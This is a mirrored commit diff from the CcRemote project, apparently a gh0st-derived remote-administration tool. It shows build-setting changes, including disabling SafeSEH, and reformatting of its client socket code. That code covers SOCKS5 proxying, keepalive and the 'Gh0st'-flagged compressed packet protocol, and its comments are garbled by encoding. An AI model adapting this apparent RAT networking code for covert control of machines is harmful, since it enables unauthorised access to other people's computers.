mirror of
https://github.com/Cc28256/CcRemote.git
synced 2025-07-29 13:44:26 +00:00
Compare commits
1 Commits
20200521.1
...
20200521.2
Author | SHA1 | Date | |
---|---|---|---|
![]() |
96fb9dcecc |
Binary file not shown.
@@ -91,12 +91,14 @@
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;CCMAINDLL_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<EnableUAC>false</EnableUAC>
|
||||
<AdditionalDependencies>..\..\common\zlib\zlib.lib;Wininet.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<AdditionalOptions> /SAFESEH:NO %(AdditionalOptions)</AdditionalOptions>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
@@ -108,12 +110,14 @@
|
||||
<PreprocessorDefinitions>_DEBUG;CCMAINDLL_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<EnableUAC>false</EnableUAC>
|
||||
<AdditionalDependencies>..\..\common\zlib\zlib.lib;Wininet.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<AdditionalOptions> /SAFESEH:NO %(AdditionalOptions)</AdditionalOptions>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
@@ -127,6 +131,7 @@
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;CCMAINDLL_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
@@ -149,6 +154,7 @@
|
||||
<PreprocessorDefinitions>NDEBUG;CCMAINDLL_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
@@ -157,6 +163,7 @@
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<EnableUAC>false</EnableUAC>
|
||||
<AdditionalDependencies>..\..\common\zlib\zlib.lib;Wininet.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<AdditionalOptions> /SAFESEH:NO %(AdditionalOptions)</AdditionalOptions>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
|
@@ -2,7 +2,6 @@
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
//#include "StdAfx.h"
|
||||
#include "ClientSocket.h"
|
||||
#include "../../common/zlib/zlib.h"
|
||||
#include <process.h>
|
||||
@@ -16,21 +15,21 @@
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
int CClientSocket::m_nProxyType = PROXY_NONE;
|
||||
char CClientSocket::m_strProxyHost[256] = {0};
|
||||
char CClientSocket::m_strProxyHost[256] = { 0 };
|
||||
UINT CClientSocket::m_nProxyPort = 1080;
|
||||
char CClientSocket::m_strUserName[256] = {0};
|
||||
char CClientSocket::m_strPassWord[256] = {0};
|
||||
char CClientSocket::m_strUserName[256] = { 0 };
|
||||
char CClientSocket::m_strPassWord[256] = { 0 };
|
||||
|
||||
CClientSocket::CClientSocket()
|
||||
{
|
||||
//---<2D><>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD><D7BD><EFBFBD>
|
||||
//---<2D><>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD><D7BD><EFBFBD>
|
||||
WSADATA wsaData;
|
||||
WSAStartup(MAKEWORD(2, 2), &wsaData);
|
||||
WSAStartup(MAKEWORD(2, 2), &wsaData);
|
||||
m_hEvent = CreateEvent(NULL, true, false, NULL);
|
||||
m_bIsRunning = false;
|
||||
m_Socket = INVALID_SOCKET;
|
||||
// Packet Flag;
|
||||
BYTE bPacketFlag[] = {'G', 'h', '0', 's', 't'}; //ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ <20><><EFBFBD>ڽ<EFBFBD><DABD><EFBFBD>gh0st<73><74><EFBFBD>ض˵<D8B6>ʱ<EFBFBD><CAB1><EFBFBD>Ҿ<EFBFBD>˵<EFBFBD><CBB5><EFBFBD><EFBFBD>Ҫһ<D2AA><D2BB>
|
||||
BYTE bPacketFlag[] = { 'G', 'h', '0', 's', 't' }; //ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ <20><><EFBFBD>ڽ<EFBFBD><DABD><EFBFBD>gh0st<73><74><EFBFBD>ض˵<D8B6>ʱ<EFBFBD><CAB1><EFBFBD>Ҿ<EFBFBD>˵<EFBFBD><CBB5><EFBFBD><EFBFBD>Ҫһ<D2AA><D2BB>
|
||||
memcpy(m_bPacketFlag, bPacketFlag, sizeof(bPacketFlag));
|
||||
}
|
||||
//---<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
@@ -54,15 +53,15 @@ bool CClientSocket::Connect(LPCTSTR lpszHost, UINT nPort)
|
||||
Disconnect();
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>¼<EFBFBD><C2BC><EFBFBD><EFBFBD><EFBFBD>
|
||||
ResetEvent(m_hEvent);
|
||||
m_bIsRunning = false;
|
||||
|
||||
m_bIsRunning = false;//<2F><><EFBFBD><EFBFBD>״̬<D7B4><CCAC>
|
||||
//<2F>ж<EFBFBD><D0B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
if (m_nProxyType != PROXY_NONE && m_nProxyType != PROXY_SOCKS_VER4 && m_nProxyType != PROXY_SOCKS_VER5)
|
||||
return false;
|
||||
m_Socket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
|
||||
m_Socket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
|
||||
|
||||
if (m_Socket == SOCKET_ERROR)
|
||||
{
|
||||
return false;
|
||||
if (m_Socket == SOCKET_ERROR)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
|
||||
hostent* pHostent = NULL;
|
||||
@@ -73,31 +72,31 @@ bool CClientSocket::Connect(LPCTSTR lpszHost, UINT nPort)
|
||||
|
||||
if (pHostent == NULL)
|
||||
return false;
|
||||
|
||||
|
||||
// <20><><EFBFBD><EFBFBD>sockaddr_in<69>ṹ
|
||||
sockaddr_in ClientAddr;
|
||||
ClientAddr.sin_family = AF_INET;
|
||||
ClientAddr.sin_family = AF_INET;
|
||||
if (m_nProxyType != PROXY_NONE)
|
||||
ClientAddr.sin_port = htons(m_nProxyPort);
|
||||
ClientAddr.sin_port = htons(m_nProxyPort);
|
||||
else
|
||||
ClientAddr.sin_port = htons(nPort);
|
||||
ClientAddr.sin_port = htons(nPort);
|
||||
|
||||
ClientAddr.sin_addr = *((struct in_addr *)pHostent->h_addr);
|
||||
|
||||
if (connect(m_Socket, (SOCKADDR *)&ClientAddr, sizeof(ClientAddr)) == SOCKET_ERROR)
|
||||
if (connect(m_Socket, (SOCKADDR *)&ClientAddr, sizeof(ClientAddr)) == SOCKET_ERROR)
|
||||
return false;
|
||||
// <20><><EFBFBD><EFBFBD>Nagle<6C>㷨<EFBFBD>Գ<F3A3ACB6><D4B3><EFBFBD>Ч<EFBFBD><D0A7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ӱ<EFBFBD><D3B0>
|
||||
// The Nagle algorithm is disabled if the TCP_NODELAY option is enabled
|
||||
// const char chOpt = 1;
|
||||
// int nErr = setsockopt(m_Socket, IPPROTO_TCP, TCP_NODELAY, &chOpt, sizeof(char));
|
||||
// <20><><EFBFBD><EFBFBD>Nagle<6C>㷨<EFBFBD>Գ<F3A3ACB6><D4B3><EFBFBD>Ч<EFBFBD><D0A7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ӱ<EFBFBD><D3B0>
|
||||
// The Nagle algorithm is disabled if the TCP_NODELAY option is enabled
|
||||
// const char chOpt = 1;
|
||||
// int nErr = setsockopt(m_Socket, IPPROTO_TCP, TCP_NODELAY, &chOpt, sizeof(char));
|
||||
|
||||
// <20><>֤socks5<73><35><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
// <20><>֤socks5<73><35><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
if (m_nProxyType == PROXY_SOCKS_VER5 && !ConnectProxyServer(lpszHost, nPort))
|
||||
{
|
||||
return false;
|
||||
}
|
||||
// <20><><EFBFBD>ñ<EFBFBD><C3B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ƣ<EFBFBD><C6A3>Լ<EFBFBD><D4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʵ<EFBFBD><CAB5>
|
||||
|
||||
|
||||
const char chOpt = 1; // True
|
||||
// Set KeepAlive <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>, <20><>ֹ<EFBFBD><D6B9><EFBFBD><EFBFBD><EFBFBD>˲<EFBFBD><CBB2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
if (setsockopt(m_Socket, SOL_SOCKET, SO_KEEPALIVE, (char *)&chOpt, sizeof(chOpt)) == 0)
|
||||
@@ -108,8 +107,8 @@ bool CClientSocket::Connect(LPCTSTR lpszHost, UINT nPort)
|
||||
klive.keepalivetime = 1000 * 60 * 3; // 3<><33><EFBFBD>ӳ<EFBFBD>ʱ Keep Alive
|
||||
klive.keepaliveinterval = 1000 * 5; // <20><><EFBFBD>Լ<EFBFBD><D4BC><EFBFBD>Ϊ5<CEAA><35> Resend if No-Reply
|
||||
WSAIoctl
|
||||
(
|
||||
m_Socket,
|
||||
(
|
||||
m_Socket,
|
||||
SIO_KEEPALIVE_VALS,
|
||||
&klive,
|
||||
sizeof(tcp_keepalive),
|
||||
@@ -118,7 +117,7 @@ bool CClientSocket::Connect(LPCTSTR lpszHost, UINT nPort)
|
||||
(unsigned long *)&chOpt,
|
||||
0,
|
||||
NULL
|
||||
);
|
||||
);
|
||||
}
|
||||
|
||||
m_bIsRunning = true;
|
||||
@@ -132,100 +131,65 @@ bool CClientSocket::Connect(LPCTSTR lpszHost, UINT nPort)
|
||||
|
||||
bool CClientSocket::ConnectProxyServer(LPCTSTR lpszHost, UINT nPort)
|
||||
{
|
||||
struct timeval tvSelect_Time_Out;
|
||||
tvSelect_Time_Out.tv_sec = 3;
|
||||
tvSelect_Time_Out.tv_usec = 0;
|
||||
fd_set fdRead;
|
||||
int nRet = SOCKET_ERROR;
|
||||
struct timeval tvSelect_Time_Out;
|
||||
tvSelect_Time_Out.tv_sec = 3;
|
||||
tvSelect_Time_Out.tv_usec = 0;
|
||||
fd_set fdRead;
|
||||
int nRet = SOCKET_ERROR;
|
||||
|
||||
char buff[600];
|
||||
struct socks5req1 m_proxyreq1;
|
||||
m_proxyreq1.Ver = PROXY_SOCKS_VER5;
|
||||
m_proxyreq1.nMethods = 2;
|
||||
m_proxyreq1.Methods[0] = 0;
|
||||
m_proxyreq1.Methods[1] = 2;
|
||||
send(m_Socket, (char *)&m_proxyreq1, sizeof(m_proxyreq1), 0);
|
||||
struct socks5ans1 *m_proxyans1;
|
||||
m_proxyans1 = (struct socks5ans1 *)buff;
|
||||
memset(buff, 0, sizeof(buff));
|
||||
char buff[600];
|
||||
struct socks5req1 m_proxyreq1;
|
||||
m_proxyreq1.Ver = PROXY_SOCKS_VER5;
|
||||
m_proxyreq1.nMethods = 2;
|
||||
m_proxyreq1.Methods[0] = 0;
|
||||
m_proxyreq1.Methods[1] = 2;
|
||||
send(m_Socket, (char *)&m_proxyreq1, sizeof(m_proxyreq1), 0);
|
||||
struct socks5ans1 *m_proxyans1;
|
||||
m_proxyans1 = (struct socks5ans1 *)buff;
|
||||
memset(buff, 0, sizeof(buff));
|
||||
|
||||
|
||||
FD_ZERO(&fdRead);
|
||||
FD_SET(m_Socket, &fdRead);
|
||||
nRet = select(0, &fdRead, NULL, NULL, &tvSelect_Time_Out);
|
||||
|
||||
if (nRet <= 0)
|
||||
{
|
||||
closesocket(m_Socket);
|
||||
return false;
|
||||
}
|
||||
recv(m_Socket, buff, sizeof(buff), 0);
|
||||
if(m_proxyans1->Ver != 5 || (m_proxyans1->Method !=0 && m_proxyans1->Method != 2))
|
||||
{
|
||||
closesocket(m_Socket);
|
||||
return false;
|
||||
}
|
||||
|
||||
|
||||
if(m_proxyans1->Method == 2 && strlen(m_strUserName) > 0)
|
||||
{
|
||||
int nUserLen = strlen(m_strUserName);
|
||||
int nPassLen = strlen(m_strPassWord);
|
||||
struct authreq m_authreq;
|
||||
memset(&m_authreq, 0, sizeof(m_authreq));
|
||||
m_authreq.Ver = PROXY_SOCKS_VER5;
|
||||
m_authreq.Ulen = nUserLen;
|
||||
lstrcpy(m_authreq.NamePass, m_strUserName);
|
||||
memcpy(m_authreq.NamePass + nUserLen, &nPassLen, sizeof(int));
|
||||
lstrcpy(m_authreq.NamePass + nUserLen + 1, m_strPassWord);
|
||||
|
||||
int len = 3 + nUserLen + nPassLen;
|
||||
|
||||
send(m_Socket, (char *)&m_authreq, len, 0);
|
||||
|
||||
struct authans *m_authans;
|
||||
m_authans = (struct authans *)buff;
|
||||
memset(buff, 0, sizeof(buff));
|
||||
|
||||
FD_ZERO(&fdRead);
|
||||
FD_SET(m_Socket, &fdRead);
|
||||
nRet = select(0, &fdRead, NULL, NULL, &tvSelect_Time_Out);
|
||||
|
||||
if (nRet <= 0)
|
||||
{
|
||||
closesocket(m_Socket);
|
||||
return false;
|
||||
}
|
||||
FD_ZERO(&fdRead);
|
||||
FD_SET(m_Socket, &fdRead);
|
||||
nRet = select(0, &fdRead, NULL, NULL, &tvSelect_Time_Out);
|
||||
|
||||
recv(m_Socket, buff, sizeof(buff), 0);
|
||||
if(m_authans->Ver != 5 || m_authans->Status != 0)
|
||||
{
|
||||
closesocket(m_Socket);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
hostent* pHostent = gethostbyname(lpszHost);
|
||||
if (pHostent == NULL)
|
||||
return false;
|
||||
|
||||
struct socks5req2 m_proxyreq2;
|
||||
m_proxyreq2.Ver = 5;
|
||||
m_proxyreq2.Cmd = 1;
|
||||
m_proxyreq2.Rsv = 0;
|
||||
m_proxyreq2.Atyp = 1;
|
||||
m_proxyreq2.IPAddr = * (ULONG*) pHostent->h_addr_list[0];
|
||||
m_proxyreq2.Port = ntohs(nPort);
|
||||
|
||||
send(m_Socket, (char *)&m_proxyreq2, 10, 0);
|
||||
struct socks5ans2 *m_proxyans2;
|
||||
m_proxyans2 = (struct socks5ans2 *)buff;
|
||||
if (nRet <= 0)
|
||||
{
|
||||
closesocket(m_Socket);
|
||||
return false;
|
||||
}
|
||||
recv(m_Socket, buff, sizeof(buff), 0);
|
||||
if (m_proxyans1->Ver != 5 || (m_proxyans1->Method != 0 && m_proxyans1->Method != 2))
|
||||
{
|
||||
closesocket(m_Socket);
|
||||
return false;
|
||||
}
|
||||
|
||||
|
||||
if (m_proxyans1->Method == 2 && strlen(m_strUserName) > 0)
|
||||
{
|
||||
int nUserLen = strlen(m_strUserName);
|
||||
int nPassLen = strlen(m_strPassWord);
|
||||
struct authreq m_authreq;
|
||||
memset(&m_authreq, 0, sizeof(m_authreq));
|
||||
m_authreq.Ver = PROXY_SOCKS_VER5;
|
||||
m_authreq.Ulen = nUserLen;
|
||||
lstrcpy(m_authreq.NamePass, m_strUserName);
|
||||
memcpy(m_authreq.NamePass + nUserLen, &nPassLen, sizeof(int));
|
||||
lstrcpy(m_authreq.NamePass + nUserLen + 1, m_strPassWord);
|
||||
|
||||
int len = 3 + nUserLen + nPassLen;
|
||||
|
||||
send(m_Socket, (char *)&m_authreq, len, 0);
|
||||
|
||||
struct authans *m_authans;
|
||||
m_authans = (struct authans *)buff;
|
||||
memset(buff, 0, sizeof(buff));
|
||||
|
||||
FD_ZERO(&fdRead);
|
||||
FD_SET(m_Socket, &fdRead);
|
||||
nRet = select(0, &fdRead, NULL, NULL, &tvSelect_Time_Out);
|
||||
|
||||
|
||||
if (nRet <= 0)
|
||||
{
|
||||
closesocket(m_Socket);
|
||||
@@ -233,29 +197,65 @@ bool CClientSocket::ConnectProxyServer(LPCTSTR lpszHost, UINT nPort)
|
||||
}
|
||||
|
||||
recv(m_Socket, buff, sizeof(buff), 0);
|
||||
if(m_proxyans2->Ver != 5 || m_proxyans2->Rep != 0)
|
||||
if (m_authans->Ver != 5 || m_authans->Status != 0)
|
||||
{
|
||||
closesocket(m_Socket);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
return true;
|
||||
hostent* pHostent = gethostbyname(lpszHost);
|
||||
if (pHostent == NULL)
|
||||
return false;
|
||||
|
||||
struct socks5req2 m_proxyreq2;
|
||||
m_proxyreq2.Ver = 5;
|
||||
m_proxyreq2.Cmd = 1;
|
||||
m_proxyreq2.Rsv = 0;
|
||||
m_proxyreq2.Atyp = 1;
|
||||
m_proxyreq2.IPAddr = *(ULONG*)pHostent->h_addr_list[0];
|
||||
m_proxyreq2.Port = ntohs(nPort);
|
||||
|
||||
send(m_Socket, (char *)&m_proxyreq2, 10, 0);
|
||||
struct socks5ans2 *m_proxyans2;
|
||||
m_proxyans2 = (struct socks5ans2 *)buff;
|
||||
memset(buff, 0, sizeof(buff));
|
||||
|
||||
FD_ZERO(&fdRead);
|
||||
FD_SET(m_Socket, &fdRead);
|
||||
nRet = select(0, &fdRead, NULL, NULL, &tvSelect_Time_Out);
|
||||
|
||||
if (nRet <= 0)
|
||||
{
|
||||
closesocket(m_Socket);
|
||||
return false;
|
||||
}
|
||||
|
||||
recv(m_Socket, buff, sizeof(buff), 0);
|
||||
if (m_proxyans2->Ver != 5 || m_proxyans2->Rep != 0)
|
||||
{
|
||||
closesocket(m_Socket);
|
||||
return false;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
DWORD WINAPI CClientSocket::WorkThread(LPVOID lparam)
|
||||
//<2F><><EFBFBD><EFBFBD><EFBFBD>̣߳<DFB3><CCA3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>thisָ<73><D6B8>
|
||||
DWORD WINAPI CClientSocket::WorkThread(LPVOID lparam)
|
||||
{
|
||||
CClientSocket *pThis = (CClientSocket *)lparam;
|
||||
char buff[MAX_RECV_BUFFER];
|
||||
char buff[MAX_RECV_BUFFER]; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ܳ<EFBFBD><DCB3>ȣ<EFBFBD><C8A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڷ<EFBFBD><DAB7><EFBFBD><EFBFBD>˺Ϳ<CBBA><CDBF>ƶ˹<C6B6><CBB9>еİ<D0B5><C4B0><EFBFBD><EFBFBD>ļ<EFBFBD>macros.h<><68>
|
||||
fd_set fdSocket;
|
||||
FD_ZERO(&fdSocket);
|
||||
FD_SET(pThis->m_Socket, &fdSocket);
|
||||
while (pThis->IsRunning()) //---<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ض<EFBFBD> û<><C3BB><EFBFBD>˳<EFBFBD><CBB3><EFBFBD><EFBFBD><EFBFBD>һֱ<D2BB><D6B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѭ<EFBFBD><D1AD><EFBFBD><EFBFBD>
|
||||
while (pThis->IsRunning()) //---<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ض<EFBFBD> û<><C3BB><EFBFBD>˳<EFBFBD><CBB3><EFBFBD><EFBFBD><EFBFBD>һֱ<D2BB><D6B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѭ<EFBFBD><D1AD><EFBFBD>У<EFBFBD><EFBFBD>ж<EFBFBD><EFBFBD>Ƿ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ӵ<EFBFBD>״̬
|
||||
{
|
||||
fd_set fdRead = fdSocket;
|
||||
int nRet = select(NULL, &fdRead, NULL, NULL, NULL); //---<2D><><EFBFBD><EFBFBD><EFBFBD>ж<EFBFBD><D0B6>Ƿ<EFBFBD><C7B7>Ͽ<EFBFBD><CFBF><EFBFBD><EFBFBD><EFBFBD>
|
||||
if (nRet == SOCKET_ERROR)
|
||||
if (nRet == SOCKET_ERROR)
|
||||
{
|
||||
pThis->Disconnect();
|
||||
pThis->Disconnect();//<2F>Ͽ<EFBFBD><CFBF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
break;
|
||||
}
|
||||
if (nRet > 0)
|
||||
@@ -284,7 +284,9 @@ bool CClientSocket::IsRunning()
|
||||
return m_bIsRunning;
|
||||
}
|
||||
|
||||
void CClientSocket::OnRead( LPBYTE lpBuffer, DWORD dwIoSize )
|
||||
|
||||
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ܵ<EFBFBD><DCB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
void CClientSocket::OnRead(LPBYTE lpBuffer, DWORD dwIoSize)
|
||||
{
|
||||
try
|
||||
{
|
||||
@@ -304,7 +306,7 @@ void CClientSocket::OnRead( LPBYTE lpBuffer, DWORD dwIoSize )
|
||||
// Dont forget there could be a partial, 1, 1 or more + partial mesages
|
||||
m_CompressionBuffer.Write(lpBuffer, dwIoSize);
|
||||
|
||||
|
||||
|
||||
// Check real Data
|
||||
//--- <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7>С <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǾͲ<C7BE><CDB2><EFBFBD><EFBFBD><EFBFBD>ȷ<EFBFBD><C8B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
while (m_CompressionBuffer.GetBufferLen() > HDR_SIZE)
|
||||
@@ -314,19 +316,19 @@ void CClientSocket::OnRead( LPBYTE lpBuffer, DWORD dwIoSize )
|
||||
//---<2D>ж<EFBFBD><D0B6><EFBFBD><EFBFBD><EFBFBD>ͷ <20><><EFBFBD><EFBFBD> <20><><EFBFBD>캯<EFBFBD><ECBAAF><EFBFBD><EFBFBD> g h 0 s t <20><><EFBFBD>ض<EFBFBD>Ҳ<EFBFBD><D2B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
if (memcmp(m_bPacketFlag, bPacketFlag, sizeof(m_bPacketFlag)) != 0)
|
||||
throw "bad buffer";
|
||||
|
||||
|
||||
int nSize = 0;
|
||||
CopyMemory(&nSize, m_CompressionBuffer.GetBuffer(FLAG_SIZE), sizeof(int));
|
||||
|
||||
//--- <20><><EFBFBD>ݵĴ<DDB5>С<EFBFBD><D0A1>ȷ<EFBFBD>ж<EFBFBD>
|
||||
|
||||
//--- <20><><EFBFBD>ݵĴ<DDB5>С<EFBFBD><D0A1>ȷ<EFBFBD>ж<EFBFBD>
|
||||
if (nSize && (m_CompressionBuffer.GetBufferLen()) >= nSize)
|
||||
{
|
||||
int nUnCompressLength = 0;
|
||||
//---<2D>õ<EFBFBD><C3B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
// Read off header
|
||||
m_CompressionBuffer.Read((PBYTE) bPacketFlag, sizeof(bPacketFlag));
|
||||
m_CompressionBuffer.Read((PBYTE) &nSize, sizeof(int));
|
||||
m_CompressionBuffer.Read((PBYTE) &nUnCompressLength, sizeof(int));
|
||||
m_CompressionBuffer.Read((PBYTE)bPacketFlag, sizeof(bPacketFlag));
|
||||
m_CompressionBuffer.Read((PBYTE)&nSize, sizeof(int));
|
||||
m_CompressionBuffer.Read((PBYTE)&nUnCompressLength, sizeof(int));
|
||||
////////////////////////////////////////////////////////
|
||||
////////////////////////////////////////////////////////
|
||||
// SO you would process your data here
|
||||
@@ -335,12 +337,12 @@ void CClientSocket::OnRead( LPBYTE lpBuffer, DWORD dwIoSize )
|
||||
int nCompressLength = nSize - HDR_SIZE;
|
||||
PBYTE pData = new BYTE[nCompressLength];
|
||||
PBYTE pDeCompressionData = new BYTE[nUnCompressLength];
|
||||
|
||||
|
||||
if (pData == NULL || pDeCompressionData == NULL)
|
||||
throw "bad Allocate";
|
||||
|
||||
m_CompressionBuffer.Read(pData, nCompressLength);
|
||||
|
||||
|
||||
//////////////////////////////////////////////////////////////////////////
|
||||
//---<2D><><EFBFBD>ǵ<EFBFBD><C7B5><EFBFBD><EFBFBD>ض<EFBFBD>ô<EFBFBD><C3B4><EFBFBD><EFBFBD> <20><><EFBFBD>ǽ<EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD>ݿ<EFBFBD><DDBF><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7>ɹ<EFBFBD><C9B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ɹ<EFBFBD><C9B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>½<EFBFBD><C2BD><EFBFBD>
|
||||
unsigned long destLen = nUnCompressLength;
|
||||
@@ -356,13 +358,14 @@ void CClientSocket::OnRead( LPBYTE lpBuffer, DWORD dwIoSize )
|
||||
else
|
||||
throw "bad buffer";
|
||||
|
||||
delete [] pData;
|
||||
delete [] pDeCompressionData;
|
||||
delete[] pData;
|
||||
delete[] pDeCompressionData;
|
||||
}
|
||||
else
|
||||
break;
|
||||
}
|
||||
}catch(...)
|
||||
}
|
||||
catch (...)
|
||||
{
|
||||
m_CompressionBuffer.ClearBuffer();
|
||||
Send(NULL, 0);
|
||||
@@ -370,27 +373,46 @@ void CClientSocket::OnRead( LPBYTE lpBuffer, DWORD dwIoSize )
|
||||
|
||||
}
|
||||
|
||||
|
||||
//ȡ<><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
void CClientSocket::Disconnect()
|
||||
{
|
||||
//
|
||||
// If we're supposed to abort the connection, set the linger value
|
||||
// on the socket to 0.
|
||||
//
|
||||
LINGER lingerStruct;
|
||||
lingerStruct.l_onoff = 1;
|
||||
lingerStruct.l_linger = 0;
|
||||
setsockopt(m_Socket, SOL_SOCKET, SO_LINGER, (char *)&lingerStruct, sizeof(lingerStruct) );
|
||||
// If we're supposed to abort the connection, set the linger value
|
||||
// on the socket to 0.
|
||||
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD><D2AA>ֹ<EFBFBD><D6B9><EFBFBD>ӣ<EFBFBD><D3A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>lingerֵ
|
||||
LINGER lingerStruct;
|
||||
lingerStruct.l_onoff = 1;
|
||||
lingerStruct.l_linger = 0;
|
||||
/*<2A><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѡ<EFBFBD><D1A1>
|
||||
setsockopt(
|
||||
int socket, // <20><><EFBFBD><EFBFBD>socket<65><74><EFBFBD><EFBFBD><D7BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
